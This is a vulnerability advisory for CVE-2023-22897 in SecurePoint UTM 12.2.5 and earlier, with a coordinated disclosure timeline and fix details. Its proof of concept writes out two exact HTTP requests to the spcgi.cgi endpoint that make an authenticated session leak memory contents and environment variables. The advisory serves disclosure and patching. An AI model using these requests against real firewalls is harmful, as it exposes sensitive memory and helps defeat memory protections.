Get in touch

SecurePoint UTM <= 12.2.5 “spcgi.cgi” Remote Memory Contents Information Disclosure

Apr 12, 2023 · By Julien Ahrens

ADVISORY INFORMATION

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

SecurePoint UTM 12.2.5 SecurePoint UTM 12.2.5 SecurePoint UTM 12.2.4.1 SecurePoint UTM 12.2.4 SecurePoint UTM 12.2.3.4 SecurePoint UTM 12.2.3.3 SecurePoint UTM 12.2.3.2 Reseller Preview SecurePoint UTM 12.2.3.1 Reseller Preview

INTRODUCTION

With secure networks, home office, site connectivity and the protection of your data are easy to implement. UTM firewalls and VPN gateways from Securepoint secure your networks - with suitable IT security solutions for small and medium-sized businesses for rent, purchase or as a complete service.

(from the vendor’s homepage)

VULNERABILITY DETAILS

The firewall offers an administrative web panel on port 11115 and a user login panel on port 443. Both use the endpoint at “/spcgi.cgi” to perform authentication checks via the “login” command. Once authentication is successful (a low-privileged user account is sufficient), and the returned “sessionid” has never been used in any subsequent request, then the application will return remote memory contents within the sessionid JSON attribute on all subsequent requests (that don’t contain the sessionId, hence referring to as “unused”). The leaked memory contents include memory addresses as well as environment variables.

This happens because the application doesn’t correctly initialize a variable later used in the JSON output referencing the sessionid.

Successful exploits can allow an authenticated attacker to leak memory contents, which might contain sensitive information, and help defeat memory protections such as ASLR.

PROOF OF CONCEPT

First, authenticate using any legitimate user against either the admin panel on port 11115 or the user panel on port 443 by using a single HTTP POST request like the following:

POST /spcgi.cgi HTTP/1.1
Host: 192.168.175.1
Content-Length: 100
Accept: */*
Content-Type: application/json; charset=UTF-8
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"module":"auth","command":["login"],"sessionid":"","arguments":{"user":"user","pass":"Password"}}

This returns a sessionid, which you must not use in subsequent requests. This is important because the exploit won’t work if you authenticate using the web interface because the sessionid is immediately “used” in further requests being issued by the application.

Then submit any JSON request without a sessionid against the same endpoint, such as:

POST /spcgi.cgi HTTP/1.1
Host: 192.168.175.1
Content-Length: 2
Accept: */*
Content-Type: application/json; charset=UTF-8
User-Agent: test
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{}

The remote memory contents are afterward leaked in response to that request within the sessionid JSON attribute.

SOLUTION

Upgrade to version 12.2.5.1 or newer

REPORT TIMELINE

  • 2023-01-04: Discovery of the vulnerability
  • 2023-01-06: Contacted vendor via a known contact
  • 2023-01-06: Vendor response
  • 2023-01-06: Sent full vulnerability details to vendor
  • 2023-01-06: Vendor acknowledged the vulnerability
  • 2023-01-06: Vendor asks to set the disclosure date to 2023-04-11 due to the # of affected customers
  • 2023-01-06: RCE Security agrees to the proposed disclosure date
  • 2023-01-06: Vendor publishes hotfix 12.2.5.1 which fixes the vulnerability
  • 2023-01-10: MITRE assigns CVE-2023-22897
  • 2023-04-12: Public disclosure

REFERENCES